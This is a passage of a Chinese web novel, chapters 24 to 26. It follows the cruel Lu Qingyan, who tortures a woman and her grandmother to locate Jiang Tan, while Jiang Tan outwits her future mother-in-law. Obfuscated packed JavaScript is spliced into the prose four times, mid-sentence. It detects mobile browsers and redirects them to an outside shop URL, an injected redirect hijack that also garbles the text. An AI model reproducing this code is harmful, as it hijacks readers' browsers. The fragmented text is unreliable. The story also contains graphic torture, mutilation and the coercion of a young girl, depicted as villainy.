公孙文的笑脸僵得太久,陆青檐好歹给了他个面子。他拿起筷子,给那笼子里的两只蛐蛐儿喂了一块肉,蛐蛐儿为那块肉争抢起来,斗得更狠了。 大厨的脸色铁青,公孙文在一旁又夸又鼓掌:“哎呦,大将军赢了!” 陆青檐擦擦手,公孙文连忙奉上手巾。 他察觉到长公子心情不错,趁机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690981|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让小厮呈了个小礼物,金制的蛐蛐儿筒和纯金的斗蛐蛐儿擂台。 “不错。” 陆青檐收下了。 这就是不生他的气了,因着晃月别庄的事,公孙文好几日没睡好觉。 楼下人声鼎沸。 陆青檐的视线被吸引过去,下面正是集市,集市不远有一间月老庙。 公孙文见长公子感兴趣,连忙讲解起月老庙的由来,里面稀奇的玩意儿,尤其是每年上元节花车巡游时,上面的月娘婀娜多姿…… 邓显猛地撞了他一下。 公孙文忙看去,后者无声道:别说了! 陆青檐根本没在听,而是在看月老庙中一对正在抛红线牌的有情人。 那对有情人可不就是施茂林和姜妙仪么! 不得了。 两人的红线牌飞得又高又远,一下挂在月老树的最高处,寓意着长长久久,夫妻恩爱。 是旁人都比不上的福气。 姜妙仪闭上眼许了什么愿,一脸甜蜜地对施茂林笑了笑,周围人声太吵,二人不得不耳语传话。 说话时靠得极近,呵气闹得人痒,相视又是一笑。 真是要命! 陆青檐面色阴鸷:“把那棵树给我砍了。” “使不得使不得!” 公孙文好说歹说,终于劝得长公子,只是命人将姜妙仪的红线牌取下来。 两人走后不过片刻,红线牌就被放在陆青檐的面前。 一根红线,系着两端的男女人名木牌。 陆青檐用力将那红线揪断,将另一个木牌丢到一边,只留下女子的木牌。 正面“妙仪”,反面“白头偕老,一世长安”。 陆青檐握着木牌,缓缓地说:“今年的武举……” 公孙文连忙道:“都听长公子的,那姓施的一定不会上榜。” 陆青檐嗤笑一声:“答应别人的事,我从来不会食言。” “那您的意思是……” “扬州府武举官这么些年兢兢业业、两袖清风,该赏。此次考试就松松口,让学生们也好过些。放话出去,让他们送银子上来,谁送的多就让谁当第一名。” 陆青檐摩挲木牌上的字迹,说:“公平公正,我也不曾食言。你觉得怎样?” 公孙文说:“长公子英明!” 他起身告退,小心翼翼地关上门后,对身边的小厮说:“快传话给姚公子,那边的动作要加紧了。” 屋内,陆青檐将木牌掰断,和先前的木牌、红线一起扔给雷奴。 “丢猪圈里去。” 雷奴一丝不苟,主子说扔猪圈,他就出去找猪圈。 陆青檐这才觉得气顺了些,想起在此处的目的,又不耐烦起来:“刘武动作怎么这么慢?” 他们在此不是吃饭闲话,而是等一件消息。 “来了。” 邓显走到窗边伸出手。 一只鸽子落在他的袖子上,邓显取下鸽子脚边的信签,他先看一眼,再禀报给长公子。 可他看了一眼,却不敢贸然开口了。 “长公子……您还是亲自看吧。” 邓显深吸一口气,离远了些。 陆青檐将信签摊开,眉头蹙起:“姜昙……没有死?” 片刻后,天香馆靠窗的雅间里传来桌子被掀翻的声音。 陆青檐忍着怒意,一字一顿:“哪个姜昙,为什么没死?现在在哪!叫刘武滚回来见我,一一说清楚!” 24. 第 24 章 一个头顶麻花辫的姑娘提着布篮,欢快地跑过街角。 “丁丫头,又往家里买鱼啊!”馄饨摊的大娘调笑说:“最近吃那么好,捡银子了吧!” 丁丫头双手一叉,正要反驳,忽地想起什么:“不告诉你。” 她拐进巷子,心想:才不是捡银子了呢,而是补身体。汤大哥受了伤,得吃些好的补补,这样身体才能好得快! 丁丫头迅速回家关门:“奶奶,看我买了什么——” 她蓦地在堂前停住……屋里怎么黑漆漆的。 “奶奶?你怎么不点灯啊?” 丁丫头踏进屋子的那一刻,勉强有风吹来,她一瞬间察觉到不对,扭头就跑。 刀刃划开她的脸皮,丁丫头捂住脸,滚烫的血珠从指缝里渗出来。 接着,她的脖颈边搁上了一把刀。 丁丫头被扔到屋子里。 不知何时黑漆漆的堂内点上了灯,一人坐在桌前,昏黄的油灯照亮他半张侧脸,宛如恶鬼一般笑着。 他的脚边,是瑟瑟发抖的奶奶,年迈的老人被麻绳捆得结结实实,已然奄奄一息。 “跑那么快做什么?”陆青檐和善地笑:“丁娘子,或者该叫你银翠,丁银翠。” 丁银翠恐惧地看着他:“宋、宋……少爷。” 陆青檐手上是女人家的针线篓,他认真地翻找着,看起来竟不违和。终于,他找到了,拈着几片缝了一半的布料提到眼前。 “你不是喜欢我么?怎么给别的男人做荷包?真是朝三暮四,水性杨花!” 陆青檐将布料撕得稀巴烂。 银翠恐惧地流泪,她心想:还好剪碎了,还好他没看清楚上面的名字。 不料下一刻,陆青檐就笑着问:“姜昙在哪?” 银翠流着眼泪,一声不吭。 陆青檐冷笑一声:“敬酒不吃吃罚酒。”他狠狠踢了一下脚边被绑着的老人,对刘武说:“割了她的手指!” “不要——” 银翠的惊叫中,一截断指被扔到她的面前。 原本那奄奄一息的老人嘴里塞着布巾,连痛呼都无法出声,只能在地上打滚。 银翠想起来惨死的小巧,那只被割了脑袋的猕猴。 银翠尖叫着扑上去,被刘武一脚踢开,她趴在地上喊道:“你丧尽天良,不得好死!” 陆青檐笑了笑:“你比三年前有长进,这话我听过不少人说过。不过也没长进多少,你以为把左邻右舍引来就能救你?” 陆青檐低下身来,像三年前那样对她说:“我大可以告诉你,整个扬州府内,所有人的性命我尽可要得,百姓更是和蝼蚁没有分别。你若引来一人,我便杀一人。引来十人,我可屠尽整个巷子。就算明天一早被捅到扬州知府门前去,我也尽可安然无恙。因为就连扬州知府的独子,也不过是我脚下的一条狗,要他朝哪边吠,他绝不敢说一个不字。我再问你一次……” 雪白的刀刃晃眼,这一次搁在了奶奶的脖颈上。 陆青檐问银翠,一字一顿:“姜昙在哪?” 银翠说:“……吴江。” . 长公子要出远门。 “不是——” 姚卓呼呼地摇着扇子:“那长公子几时回来?” 公孙文使眼色,让他别问了。 看在银子的份上,邓显还是提点一句:“姚公子,赌坊的事放一放,公子回扬州之前,不要轻举妄动。” “可施茂林已经在收拾行李,打算和那个小娘子一起回淮安去了!” 姚卓怎么能不急? 他在施茂林身边安插的红柳说,施茂林已写信回乡,与母亲拟定婚期。 婚事已准备了三年,如今可一切从简,保不齐就在这几个月呢! 长公子归期不定,万一等他回来,俩人说不定婚都结了,没准连孩子都抱上了! 作为长公子的好下属,他是真心为他急啊。 邓显仅思考了一瞬:“任他去。” 陆青檐心心念念了三年的仇人,本以为化成了灰的吴江捕快,突然死而复生,消息还递到了他眼前,教他怎么冷静? 天大的事,都没有这件事重要。再要紧的人,也没有这个人要紧。 . 施茂林将姜昙送回陆府去,紫珠先行进门,留两人在门口话别。 姜昙为施茂林整理衣领:“说好了,后日你就来陆府接我,送我去淮安。” 施茂林应声:“送你到淮安后,我立刻回泰兴,找我母亲一同去淮安提亲。三年前就定好的亲事,一定能在冬月前办好。” “好。” 姜昙的唇边沁出一丝笑,想了想,她凑近施茂林脸侧,轻轻地亲了一口。 施茂林结巴:“妙仪,你……如此大胆……” 姜昙的脸色半分也没有红,她纳罕地看着施茂林,惊讶在这么短的时间内,他竟从脖颈红到了耳根。 “我进去了。” 姜昙飞快在他唇上舔了一口,跳入角门内,徒留施茂林在原地踢石子。 “施大哥。” 施茂林一惊,缓缓扭头,看着红柳从黑暗里出现。他震惊地环顾四周,幸好无人,方松了一口气:“你怎么来这了?” 红柳将他的动作看在眼里,眼神一黯:“施大哥是觉得,我见不得人?” 她将背后的东西扔到地上,原来是施茂林留在销金窟的包袱,里面装着他的印鉴、衣服和一些银子等物品。 这些竟落在了销金窟,他这几日怎么也找不到! 红柳将东西一扔,隐入黑暗中,施茂林连忙将行李捞起来,匆匆去追。 “等一等,小柳!” 后门内,守门的小厮走出来,伸了个懒腰。 原本只是偷懒睡个觉,没想到看到这等香艳的场面,果然还是有钱好哇!有钱了左拥右抱,送走一个又来一个! 啧啧。 . 有人上船来,船身轻晃。 陆青檐矮身走了进来。 银翠连忙低头,将手中的石子塞回袖中。 陆青檐皱眉打量船舱。 船舱内放着桌椅,还有一张床,这是唯一能让人休憩之地。尽管下人已经打扫得干干净净,换过被褥且熏过香,陆青檐还是觉得,从哪里冒出一股酸臭之味。 他忍着不适在床上坐下。 下人将桌案搬进来,陆青檐坐在床上,翻看起桌案上的书册来。 许久,船没有行动。 银翠忽地小声问:“你不是急着去吴江吗?怎么还不走?” 陆青檐笑着看了过来。 他笑的时候,总是含着戾气,似乎下一刻就能拧掉一个人的脑袋,让银翠觉得脑袋发凉。 “你希望我很快走?” 银翠不说话了,她方才不该问那一句! 陆青檐忽然起身,踱步过来。 银翠听汤大哥说过,陆青檐此人最善于揣测人心,稍不留神,就会被他骗过去。 “你看这是什么?”陆青檐将手中册子递过来。 银翠低着头,陆青檐捏着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702215|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的下巴,银翠不得不开口,念出那上面的字:“账册。” “不错,是吴江宋府的账册,也可以说,是我的账册。”陆青檐随意翻着。 他没有好悟性,却生得好眼力,天生过目不忘,或许正是因此,上天才让他的眼睛渐渐在夜里不能视物。 吴江宋府的账册,每一笔他都记得。 这里面,是他亲自点头送给一些官员的礼物,也有他亲自从海外走私的货物,更有他贪的一笔又一笔朝廷赈灾的银子…… 足以让他人头落地的账册,最后被姜昙偷了去。 不过,这些都是宋庸做的,跟他陆青檐没有关系。自宋庸死后,账册上的生意,他没有沾染半分。 只有一样,猎场。 他如今还在费心思建,且已建好,只差修缮了。 陆青檐低身弯腰:“圈地的卷宗去哪了?” “什么圈地?我不知道。” “你不知道?”陆青檐冷笑着重复:“你若是不知道,那谁教你识的字?” 一个杂耍人的女儿,苟活着已经费尽心思,怎么可能还有余力识字? 看着银翠渐渐发白的脸色,陆青檐问:“是汤慎吗?” “……不是。” “原来是他。他教你识字,你给他做荷包,做鱼汤。”陆青檐叹气:“你真是一个贤惠的妻子。可惜,汤谨之注定无福消受,因为马上,我留在你家的人就会抓住他,把他绑到我面前。” “不可能!”银翠挣扎着:“他已经离开扬州了!” 陆青檐笑:“我剁你一根手指诱他回来,没什么不可能。” 原来方才都是诈她,他根本没打算去吴江,这才是真的计谋。 “你骗我!你竟然骗我!”银翠哭着梨花带雨。 真是一个蠢货! 银翠长相稚嫩,看起来和三年前那个蠢样子没什么区别。 陆青檐想起三年前,又犯了头疼。 算了,还是不剁她的手指了! 陆青檐说:“把她的衣服给我剥干净,尤其是肚兜、小衣,挂到屋顶上去,我不信汤慎不回来。” 银翠叫道:“你混账!你没有良心,你是一个畜生!” “说的好,我就是一个畜生。”陆青檐轻蔑地说:“良心值几钱?和荣华富贵比起来,良心算什么东西?你倒是有良心,所以才成了我的阶下囚,汤慎也有良心,所以他很快会被我抓住。” 银翠拿他毫无办法,使出了杀手锏:“你不想知道姜昙的下落吗!” 她敢肯定,这个人的消息,陆青檐一定会很在意。 果然,陆青檐停了停,但他却说“他的下落我最清楚,他的尸骨是我捞上来,亲手挫骨扬灰!” 仅愣怔一瞬,他就恢复清醒:“这种招数,你以为我会上第二次当?” 陆青檐头痛欲裂,他要喝酒,他要饮一晌贪欢。 “我没有骗你,他真的还活着!”银翠嚷嚷:“只要你放了我们,我就告诉你他的消息!” 陆青檐咬牙切齿:“别再提他。” 见他不相信,银翠急道:“姜昙他不是个男人,他是女人!你知道吗?他当年是女扮男装!” 陆青檐顿在船舱门口,静立许久才缓缓转身。 他的脸色难看到极点,转身死死地盯着银翠:“你再说一遍!” 银翠被吓得愣住。 陆青檐几步过来,他的脸色扭曲到有几分狰狞,语句似是从牙缝里挤出来的: “你若敢骗我,这次我真的会杀了你。” 25. 第 25 章 扬州渡口。 船缓缓靠岸,一个眼神凌厉的老妇人上岸,向卖鱼的打听路。 “哦,你说陆府?朝着这条大街一直往东走,门最大的那一户人家就是,好认得很。” 老妇人问完,却并不急着赶路,而是在集市上寻了个脚夫,耳语几句,托他传话。 那脚夫点头,不多时回来。 话已传到,老妇人在茶棚里等着。约莫一刻钟后,紫珠赶到了这里。 紫珠眉开眼笑请安:“施老夫人,您来也不提前捎个信,怎么也得告诉施公子一声,我们好去接您老。” 施母哼了一声:“自我儿到扬州武馆这些年,每年我都要来探他一回。来回这么多趟,还没谁跟我交代,扬州府的规矩是要人来前先通报一声儿的。” 紫珠一顿,随即笑开:“瞧您说的,奴婢的意思是,您来之前说一声,也好给咱们个准备不是。” “你是姜家的下人?” 施母扫视了一下紫珠,不客气地将包袱扔到她怀里,说:“不用准备,家常便饭,随意吃吃即可。” 紫珠一接,不知道装的什么,沉甸甸的。 她隐隐觉得,这老太太不好相与,比传闻中的更难对付,姑娘等会儿可有的忙了。 许久之后,到了用饭的时候,两人终于来到一家客栈门前。 “到了。” 紫珠抱着比来时更大的包袱,还有这一路上施老夫人看上的物什,艰难地开门。 施母挑剔地看着客栈的陈设。 姜昙从厨房后过来,向施母请安倒水:“夫人一路舟车劳顿,一定渴了,请先用茶。” 施母眼皮一耷拉,拨弄杯中的茶汤:“这泡的是什么茶叶?” 姜昙解释:“不是茶叶,而是金银花叶泡的水,可清热下火,消肿止痛……” 施母将茶杯放回桌上,不耐烦地打断她:“我不渴,我饿了。” 姜昙与紫珠对视一眼,后者微微摇头。 “那我这就让人传饭。” 趁上菜的间隙,紫珠跟到后厨,低声对姜昙说:“姑娘,这老太太一路过来又是买布又是买花,把奴婢的银子都花光了。买了那么一大堆东西,还不许我雇车,愣是从城东逛到城西,奴婢的手都抬不起来!” 姜昙安抚性地拍拍她:“银子都算我的,回头补给你。我匣子里的玉簪也给你,辛苦你了。” “不是为银子,我就是心疼姑娘!”紫珠忿忿地说:“我托人去找施公子,她还不让,偏要让姑娘你来。” “丑媳妇总是要见公婆,早晚都有这么一遭。”姜昙将紫珠按在椅子上:“你在后厨用饭,这里无人打扰,你好好休息。” 随后,姜昙端起最后一道羹汤,往屋内去。 施母吃饭是个不安生的。 姜昙一坐下,她便指使姜昙起来布菜。 待夹到碗中,她并不急着吃,又要姜昙盛汤,每次不能多,只要一点点,喝完又要再盛。 半个时辰后,她总算用完了午饭,指着桌上的残羹剩菜说:“辛苦你了,你也吃吧。” 姜昙看向桌上。 施母已将桌上的菜吃了个七七八八,没吃完的也翻来翻去,羹汤菜肴撒了一桌子。 只有一碗汤尚且能用,姜昙便去端那汤。 不料半空中忽然伸出一只羹勺,忽地放进汤碗里搅了搅。 施母抱歉地说:“呦,我倒忘了,这羹勺我用过。乡下人就是这样,不分什么公筷公勺。想当年我一个人养活茂林的时候,也是将饭嚼碎了吐给他吃的。” 施母坐在椅子上喝着茶,掀起眼皮瞅姜昙:“你不会介意吧?” 姜昙笑着摇头:“夫人吃好了就成,我不饿。” 施母对姜昙低眉顺眼的模样十分满意。 “我施家的媳妇向来勤俭持家,今日的饭菜尚可入口,只是太奢侈浪费了些。扬州府的一家客栈里,那饭菜得有多费银子,你以后可得记着些,传出去得让街坊戳脊梁骨!” 施母的手指敲得桌子咚咚响。 姜昙静等她说完,才说:“这些菜都是我自己做的,只借了客栈的一个桌子。” 施母顿住,她看了看四下,一个旁人都没有:“那、包下客栈,花钱怕是更多!” 紫珠自后厨出来:“掌柜的受过我家姑娘免费诊治的恩情,又恰巧今日有事关门谢客,所以做个顺水人情借桌子和厨房给姑娘,分文不取!” 施母噎住半晌。 看着手中茶汤,忽然想起什么,情绪激动地说:“那掌柜的是男是女?” 姜昙沉默。 施母犹如握住什么把柄,嚷嚷道:“以后就不要摆弄药材了,谁家女儿跟你似的,大街上随便捡一个男人来诊治。男女授受不亲,若传出什么风言风语,我和我儿的脸面羞也得羞死了!茂林他爹要是知道了,在地下都不得安宁!” 紫珠气得不行,看着姜昙的脸色,只等她示意,就要和施母争几个来回。 姜昙并没有其余表示。 而是乖巧地受教:“都听夫人的。” 紫珠一跺脚,气得走开了。 姜昙从厨下端来瓜果,刚放到桌子上,忽然一拍脑袋:“瞧我这脑子,夫人刚才已经吃饱了,我还把这些端上来做什么?” 说着,她就要撤下去。 “哎,慢着!”施母将东西按下,斜了姜昙一眼:“谁说我吃饱了,我还能吃,别想拿下去偷吃!” 姜昙便放下了。 施母吃完一半,实在吃不下,要姜昙给她装起来。 姜昙看了看天色,说:“外面这么大的太阳,离住的地方还有一段距离,夫人是走着去还是雇车去?” 说话间,车夫已在外面候着了。 施母揉了揉吃撑的肚子,她走不动了,便说:“坐车去。” 岂料刚上车,施母就哎呦哎呦地叫了起来。 “夫人,你怎么了?”姜昙站在车外问。 施母嚷嚷:“我肚子疼!快给我看诊!” 姜昙一脸慌乱:“夫人,我医术不精,还是带你去医馆吧。” 那车夫却不肯赶车了:“别是得了绝症,你们合伙讹我吧?我不拉你们了,去找旁人去!” 一旁还有几个车夫,听他这么说,连忙避得远远的。 施母一急,竟晕了过去。 姜昙脸上的慌乱不见了,她上车来给施母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715979|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诊脉。 车夫要赶她,被紫珠塞了一串铜板:“别担心,这老太太身体好着呢,没什么事。” 诊脉完,姜昙说:“积食腹痛。” 果不其然! 紫珠说:“嘴皮子那么刻薄,也算有报应。” 姜昙悠然靠在车壁上,敲了敲:“去城西钟老大夫医馆去。” 紫珠噗嗤一笑,钟老大夫是姑娘的老熟人了,撒个谎这种小忙,他一定会帮。 施母快到黄昏才悠悠转醒。 姜昙在床前守着:“夫人醒了,要喝水吗?” 施母推开她,问一旁的白胡子老大夫,这大夫一看就德高望重、医术高明,施母第一眼就信任他。 “神医,我得了什么病?” 钟老大夫看了一眼姜昙,说:“尖舌症,已病入膏肓。幸好你家里人及时将你背来,若再晚些时日,怕是无药可治。” 施母一听,随即眼前一黑。 姜昙搀扶住她:“请问该用什么药?” 钟老大夫指着远处山上的菩萨庙说:“往那处走,到庙里求一碗香灰喝下去,不消半日,就能康复。” 施母看着姜昙:“那让她……” 钟老大夫说:“需得你亲自去求,方算诚心。别人去无用,偷懒乘轿是欺瞒菩萨,也无用。” 施母最信菩萨和神仙,哪敢不从。 于是施母便这么出发了。 姜昙在山下送别,紫珠偷笑:“一百五十多层石梯,爬上去一定腿都软了。山下的小乞丐说,那庙里的香灰专给脑满肠肥的贵人喝,喝了一准拉肚子,老太太可不就这么好了!” 姜昙嘴角微微扯了扯,说:“托人看着,有什么不对及时扶着。” “姑娘放心,不到两百层的石梯,这老太太身强体壮,没那么容易晕。” 忙碌了大半日,姜昙总算有空歇息。 看着熙熙攘攘的山下集市,姜昙松了口气,牵着紫珠走进去。 “来,我们也好好逛一逛。” 她的身后,陆青檐紧紧跟随着。 他仔细打量她的身形,瘦弱单薄。她的身体,柔软细腻。 这是女人的身体。 紫珠在小摊上扒出来一朵绢花,簪在姜昙的耳边,姜昙微微笑着。 忽然,她觉得身后有人在看着她。姜昙往后一看,却什么都没有。 到处都是人。 天香馆内,陆青檐摇摇晃晃地上楼,身边的掌柜毕恭毕敬。 耳边有吴侬软语,奏琴卖唱的是一对苏州父女,那妙龄女子口中糯糯,眉眼清丽勾人。 他将掌柜的衣襟揪过来,示意掌柜看那女子:“把她送到我房里来。” 掌柜看着他身后佩剑的凶神恶煞,连忙应是。 陆青檐往口中倒着一晌贪欢,来不及等它化入酒中,他就疯狂地吞咽下去。 一包又一包。 当初制药的大夫说,这东西是古人贵族传下来的,只为喝酒助兴,切不可多饮,否则伤身。 陆青檐想,无所谓。 “姜昙。”陆青檐胸前剧烈起伏,看着虚空:“来见我。” 他将东西摔了一地:“来见我!” 26. 第 26 章 一阵啜泣声传入耳中。 方才那个卖唱的姑娘被推了进来。 稚嫩的脸庞上涂了两抹红,勉强给这张还未长开的脸添上几丝风情。 小姑娘蜷缩在门边,无措地哭着看向陆青檐,对上一双血红的眼睛。 “爹,爹!救救小婉儿,我不想回家!” 婉儿哭着锤门。 陆青檐喘息着,眼前忽然涌起滔天的火势。 他渐渐察觉出一丝不对劲,往旁边一看,方才喝的不是一晌贪欢,而是魑魅魍魉。 “少爷,少爷!救救他们!” 陆青檐看向脚下,姜昙跪在他腿边,一脸坚毅。 “他们是无辜百姓,没有做错什么!凭什么要遭受这样的对待!” 陆青檐把他扶起来,看到自己双掌的六指。 他是宋庸。 “姜昙,他们占着地耕作,占着房屋繁衍后代,我们还怎么建造猎场?是你说要让我带你看猎场的,所以得把他们赶走。” 宋庸怜悯地看着他:“何况就算我答应,有人也不会答应。否则,死的就是我了。我们是好朋友,你忍心看到我死吗?” 说话间,下人又往山谷中扔了一把火,火势熊熊而起,烧过大片山林。 姜昙蓦然转过身来,眼中有泪,声音却很坚定:“可是少爷,我好像更不忍心看到他们死。” 陆青檐胸前一痛。 他不可置信地低头,胸前多了一把刀,穿胸而过,鲜血汩汩而流。 “你说过的。”陆青檐艰难地说完话:“我们是好朋友……” 刀被毫不留情地拔出,有血滴溅到姜昙的眼下,如同他哭出来的一滴血泪。 可姜昙此刻那么无情无义,他当然不会流泪。 “现在不是了。”姜昙冷冷地说。 陆青檐闭上眼,用力捂住额头。 他的头很痛,往日喝了酒不会痛,可是这次却更痛了。 原来这就是魑魅魍魉的滋味。 耳边的哭声越来越刺耳,陆青檐不耐烦地把手中灯盏丢出去:“别哭了!” 管家锲而不舍地爬过来:“少爷,咱们快跑吧!官兵来抄家了!” “跑到哪去?” 宋庸坐在地上,拨弄他的弓箭:“哪都跑不掉,不如拉几个人跟我一起下地狱!” 院子里的丫鬟、小厮哭的哭,闹的闹,趁机乱作一团。 其中有几个穿着官府衣裳的人,身上的红色官服尤其刺眼。 宋庸冷笑着拉开弓,对准一人狠狠射出,差一点! 宋庸重新搭箭,还未射出,一声箭鸣声直冲门面而来,他听到了那声音,可怎么也躲不开。 射来的共有两箭,一箭射中衣角,牢牢钉在地上。 宋庸愤怒地撕扯衣摆,第二箭在此时袭来,射中头上的金发冠,头发瞬时铺散开来。 酸溜溜的先生说,君子正衣冠,若是衣冠不整,修容散乱,那是癫狂的野人。 宋庸此刻就如一个狼狈的野人,踉跄坐在地上,如同街边乞讨的乞丐。 竟敢如此对待他,他要杀了射箭的人! 宋庸摸到手边的刀,就要站起来,面前忽然多出一人来。 “宋庸,莫要轻举妄动。否则按照大昭律法,我有权将你就地射杀。” 宋庸阴沉地笑起来,他看着眼前对准自己心脏的箭矢,以及拉弓的人,渐渐大笑出声。 “姜昙!你可真是衙门的一条好狗!” 耳边哭声如送葬。 阴暗潮湿的吴江大牢里,关进去一大批人,就算住在最里面的牢房,整天也能听到哭声。 姜昙来看过他两次。 “苏州府去年发大水,田地被淹,地里没收成,农户怕饿死,就将地里下一年的收成抵给大员外赊账。谁料到,今年收成不好,有些人家竟颗粒无收。” 姜昙念完信件,问他:“大员外,你知不知道,这是谁寄来的?” 宋庸冷笑不语。 姜昙继续念道:“石头村有一农户,一家老小四口人,其中还有个不到七岁的小儿,穷得连碗稀粥都喝不上,自然也没钱还账。这么一来,只好将田地抵给大员外,然后全家吊死在半山腰的树上,三天后尸体被发现,肚子都叫山里的狼掏空了……” 姜昙脸上的神情很愤怒,宋庸慢慢欣赏着:“哦?他们自己要死,关我什么事?” “这户人家中有七岁小儿,正到适学的年纪,家中已准备好束脩为他找先生,怎么可能自尽!” 姜昙的脸色简直精彩:“宋庸,你有没有良心?” 宋庸说:“我有没有良心,你来摸摸不就知道了?摸不出来,可以再往心口捅一刀,把心剜出来看!” 姜昙无力地瘫坐在地上。 宋庸握紧铁链,声音柔软,缓缓靠近。 “阿昙,你要知道,在这人世间,并不是所有的父母都爱子女。尤其是那些没钱的贱民,自己都活不下去,还要一个又一个地生孩子。生了女儿,他们偷偷溺死。哪怕生了儿子,为了一口吃的,也可以随意舍弃。你怎么知道,这户人家夜里在饿极了的时候,有没有想过烹了儿子,像吃猪肉、吃羊肉一样吃下去呢?说不定他们比吃猪肉、吃羊肉还香呢!” 姜昙忽然站起来,离牢门远了些:“一家是这样,家家都是这样?” 姜昙把手中的信件甩出去,如雪片一样落下来,犹如吴江那年前所未有的大雪。 “几百封信件,全是检举宋府的罪过,数不胜数!” 宋庸叹息,可惜,差一点就有机会勒死他了。 宋庸说:“我没有错!宋家好时他们吃着我的米粮,叫我善人,不好时便写信污蔑我,置我于死地!他们何其忘恩负义!” 姜昙用一副可怜的眼神看着他:“宋庸,你真是无可救药。” “我不需要救!” 宋庸诱哄着:“阿昙,过来。” 让我用手中藏着的铁链勒死你,和我一起下地狱。 姜昙摇头看着他,走了。 “姜昙!滚回来!滚回来见我!” “放开我,放开我!” 陆青檐察觉到脸上痛意,睁眼醒了过来,他眉目阴沉盯着手下之人。 婉儿缩回手:“是你先抓我的,我太疼了,才挠了你一记。” 陆青檐重重喘着气,忽然大声喊道:“来人!” 刘武立刻进来,静听吩咐。 陆青檐说:“把汤慎的手指给我一根根地剁下来,送到丁银翠手中。若是不说,便半个时辰送一根手指过去。等手指剁完,若还不说,就剁他的手,胳膊和腿。” 刘武应是,离去。 婉儿被吓得瑟瑟发抖。 等等,陆青檐扫过婉儿的脸,忽然顿住。 他极轻地在她的头发上摸了摸:“我突然发现,你长得像我一个故人。听说行走江湖的人,一般都有很多绝技,比如画脸、易容。你会不会?” 陆青檐容貌昳丽,脸上带笑时,称得上好看温和,见之如沐春风。 婉儿几乎忘了方才他扭曲的模样,乖乖说实话:“我不会。” 陆青檐笑容消失。 婉儿又说:“但我爹会。” “那就叫你爹进来,我请他帮我易容,若是做成了,就放你们回家,好不好?” 婉儿点点头。 . 姜昙百无聊赖地看着窗边风景。 午时就托人给施茂林递了消息,到现在也不见人,他又有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722278|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么事缠身? 门被呜咽一声打开,紫珠搀扶着双腿颤抖的施母进来。 她哎呦哎呦地叫着,一屁股坐在椅子上时,还叫了一声。 紫珠朝姜昙眨眨眼,做了个动作—— 老太太摔了一跤。 不过看样子,伤的不是腿,伤处无伤大雅,在床上躺两三天就能好。 这几日总算能消停了。 姜昙问道:“夫人,饿不饿。我去让小二上菜,这回是大师傅做的菜,天香馆的菜色一绝,夫人可以尝尝。” 施母连连摆手。 就算是天香馆的菜她也吃不下了,什么都吃不下。 好不容易爬到了庙里,喝了一碗香灰水,结果闹了肚子。 施母在茅房里畅快了个干净,眼下脾胃虽空,肚子却不疼了,也不想吃饭。 “饭还是要吃的,让小二上些清粥小菜,给夫人养养脾胃。” “听你的。” 施母摆摆手。 姜昙正推门出去,门外刚好有一人进来,正是焦急的施茂林。 “娘!妙仪!” “我儿——”施母扯住臀上伤处,声音一顿,变得小了许多:“你可来了。” “娘你怎么了?可是哪里不舒服?”施茂林奇怪地往施母身后看,被施母按住脑袋:“没有,娘都好好的,就是去拜了拜菩萨。” 两人絮絮叨叨了一会儿,终于在桌前坐下来。 姜昙已让小二上好菜,将筷子递给施茂林,后者感激地凑近小声说:“辛苦妙仪了。” 姜昙正要说无事,忽然鼻间闻到一股甜香。 没来得及细想那是什么,施茂林已握住她的手,对施母说:“娘,既然你来了,事情就在这里定下吧。” 施茂林郑重地跪下:“我要与妙仪成亲,就在冬日前。” 施母来之前酝酿了一肚子的话,不久前上山还问了菩萨。 最终只说:“我儿大了,有自己的主意,娘听你的。” 又对姜昙斥了几句:“你是运气好遇上我儿,原本有老道算出你俩是命中注定,有缘无分!可山上的菩萨说,你是个有福的,愿你将来能把这福气传给我施家儿孙,多生几个儿子。” 这种时候,姜昙自然应是。 定了姜昙为自家人,她的钱就是施家的钱,施母看着这一桌饭菜觉得肉疼。 